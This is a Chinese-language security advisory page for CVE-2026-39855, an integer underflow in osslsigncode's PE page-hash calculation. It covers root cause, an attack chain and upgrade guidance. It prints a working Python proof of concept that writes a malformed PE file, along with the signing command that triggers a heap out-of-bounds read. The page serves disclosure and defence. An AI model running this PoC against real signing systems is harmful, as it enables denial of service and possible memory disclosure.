IPBUF安全漏洞报告
English
CVE-2026-39855 CVSS 5.5 中危

CVE-2026-39855 osslsigncode整数下溢漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39855
漏洞类型
整数下溢
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
osslsigncode

相关标签

整数下溢拒绝服务osslsigncodePE文件越界读取CVE-2026-39855

漏洞概述

osslsigncode是一个实现Authenticode签名和时间戳的工具。在2.13版本之前,该工具存在整数下溢漏洞。该漏洞位于PE页哈希计算代码中。当对PE文件执行页哈希处理时,函数在未验证pagesize是否大于等于hdrsize的情况下直接相减。如果恶意PE文件设置的SizeOfHeaders大于SectionAlignment,减法将发生下溢,导致产生一个非常大的无符号长度,进而引发堆越界读取并可能使进程崩溃。该漏洞可在签名恶意文件或验证包含页哈希的恶意文件时触发。

技术细节

该漏洞的根本原因在于osslsigncode的PE页哈希计算函数(pe_page_hash_calc)中缺乏对减法操作的有效性检查。具体来说,代码执行`pagesize - hdrsize`操作,其中`pagesize`源自SectionAlignment,`hdrsize`源自SizeOfHeaders。代码假设前者总是大于或等于后者。攻击者可以构造特制的PE文件,将SizeOfHeaders字段的值设置得异常大(例如0x2000),超过SectionAlignment的值(例如0x1000)。由于这些值被视为无符号整数,当较小的`pagesize`减去较大的`hdrsize`时,会发生整数下溢,结果变成一个巨大的正数。随后,代码分配了一个`pagesize`大小的缓冲区,并试图根据计算出的巨大长度值对该缓冲区进行哈希操作。这实际上导致了堆缓冲区的越界读取。虽然主要影响是拒绝服务(DoS,即程序崩溃),但在特定条件下,越界读取可能泄露内存信息。此漏洞可通过诱导受害者使用`-ph`选项签名恶意PE文件或验证恶意文件来触发。

攻击链分析

STEP 1
步骤1
攻击者构造一个恶意的PE文件,将SizeOfHeaders字段设置得比SectionAlignment字段大。
STEP 2
步骤2
攻击者诱导受害者使用osslsigncode工具对该恶意文件进行签名,并启用页哈希选项(-ph);或者诱导受害者验证已经包含页哈希的恶意签名文件。
STEP 3
步骤3
osslsigncode在处理页哈希计算时,执行减法操作发生整数下溢,导致分配的缓冲区长度计算错误。
STEP 4
步骤4
程序尝试根据错误的长度读取堆内存,导致越界读取,进而引发程序崩溃(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct import os # Proof of Concept: Create a malformed PE file to trigger the integer underflow # in osslsigncode < 2.13 when using the -ph (page hash) flag. def create_malformed_pe(filename): # DOS Header (minimal) dos_header = b'MZ' + b'\x00' * 0x3c pe_offset = 0x40 dos_header += struct.pack('<I', pe_offset) dos_header += b'\x00' * (pe_offset - len(dos_header)) # PE Signature pe_sig = b'PE\x00\x00' # File Header machine = struct.pack('<H', 0x014c) # IMAGE_FILE_MACHINE_I386 num_sections = struct.pack('<H', 1) timestamp = struct.pack('<I', 0) sym_table_ptr = struct.pack('<I', 0) num_symbols = struct.pack('<I', 0) opt_header_size = struct.pack('<H', 0xE0) # SizeOfOptionalHeader characteristics = struct.pack('<H', 0x0102) file_header = pe_sig + machine + num_sections + timestamp + sym_table_ptr + num_symbols + opt_header_size + characteristics # Optional Header magic = struct.pack('<H', 0x010b) linker_ver = struct.pack('<B', 6) + struct.pack('<B', 0) code_size = struct.pack('<I', 0x200) init_data_size = struct.pack('<I', 0x200) uninit_data_size = struct.pack('<I', 0) entry_point = struct.pack('<I', 0x1000) code_base = struct.pack('<I', 0x1000) data_base = struct.pack('<I', 0) image_base = struct.pack('<I', 0x400000) # Malformed Configuration: # SectionAlignment = 0x1000 # SizeOfHeaders = 0x2000 (SizeOfHeaders > SectionAlignment triggers underflow) section_alignment = struct.pack('<I', 0x1000) file_alignment = struct.pack('<I', 0x200) os_ver = struct.pack('<H', 4) + struct.pack('<H', 0) img_ver = struct.pack('<H', 0) + struct.pack('<H', 0) subsys_ver = struct.pack('<H', 4) + struct.pack('<H', 0) win32_ver = struct.pack('<I', 0) img_size = struct.pack('<I', 0x3000) header_size = struct.pack('<I', 0x2000) # Malformed: Larger than SectionAlignment checksum = struct.pack('<I', 0) subsystem = struct.pack('<H', 2) dll_flags = struct.pack('<H', 0) stack_reserve = struct.pack('<I', 0x100000) stack_commit = struct.pack('<I', 0x1000) heap_reserve = struct.pack('<I', 0x100000) heap_commit = struct.pack('<I', 0x1000) loader_flags = struct.pack('<I', 0) num_rva = struct.pack('<I', 0x10) opt_header = magic + linker_ver + code_size + init_data_size + uninit_data_size + \ entry_point + code_base + data_base + image_base + section_alignment + \ file_alignment + os_ver + img_ver + subsys_ver + win32_ver + \ img_size + header_size + checksum + subsystem + dll_flags + \ stack_reserve + stack_commit + heap_reserve + heap_commit + \ loader_flags + num_rva # Section Header (.text) name = b'.text\x00\x00\x00' virt_size = struct.pack('<I', 0x200) virt_addr = struct.pack('<I', 0x1000) raw_size = struct.pack('<I', 0x200) raw_addr = struct.pack('<I', 0x2000) # Must be >= SizeOfHeaders (0x2000) relocs = struct.pack('<I', 0) line_nums = struct.pack('<I', 0) num_relocs = struct.pack('<H', 0) num_line_nums = struct.pack('<H', 0) charact = struct.pack('<I', 0x60000020) section_header = name + virt_size + virt_addr + raw_size + raw_addr + relocs + line_nums + num_relocs + num_line_nums + charact pe_content = dos_header + file_header + opt_header + section_header # Pad to SizeOfHeaders (0x2000) pe_content += b'\x00' * (0x2000 - len(pe_content)) # Pad section data pe_content += b'\x90' * 0x200 with open(filename, 'wb') as f: f.write(pe_content) print(f"Created malformed PE: {filename}") print(f"Run: osslsigncode sign -ph -certs cert.pem -key key.pem {filename} out.exe") if __name__ == "__main__": create_malformed_pe("malicious.exe")

影响范围

osslsigncode <= 2.12

防御指南

临时缓解措施
建议用户立即将osslsigncode工具升级到2.13或更高版本以修复此漏洞。在无法立即升级的情况下,应避免使用`-ph`(页哈希)选项对不可信的PE文件进行签名,并尽量避免验证包含页哈希的不可信PE文件,以防止漏洞被触发导致服务崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表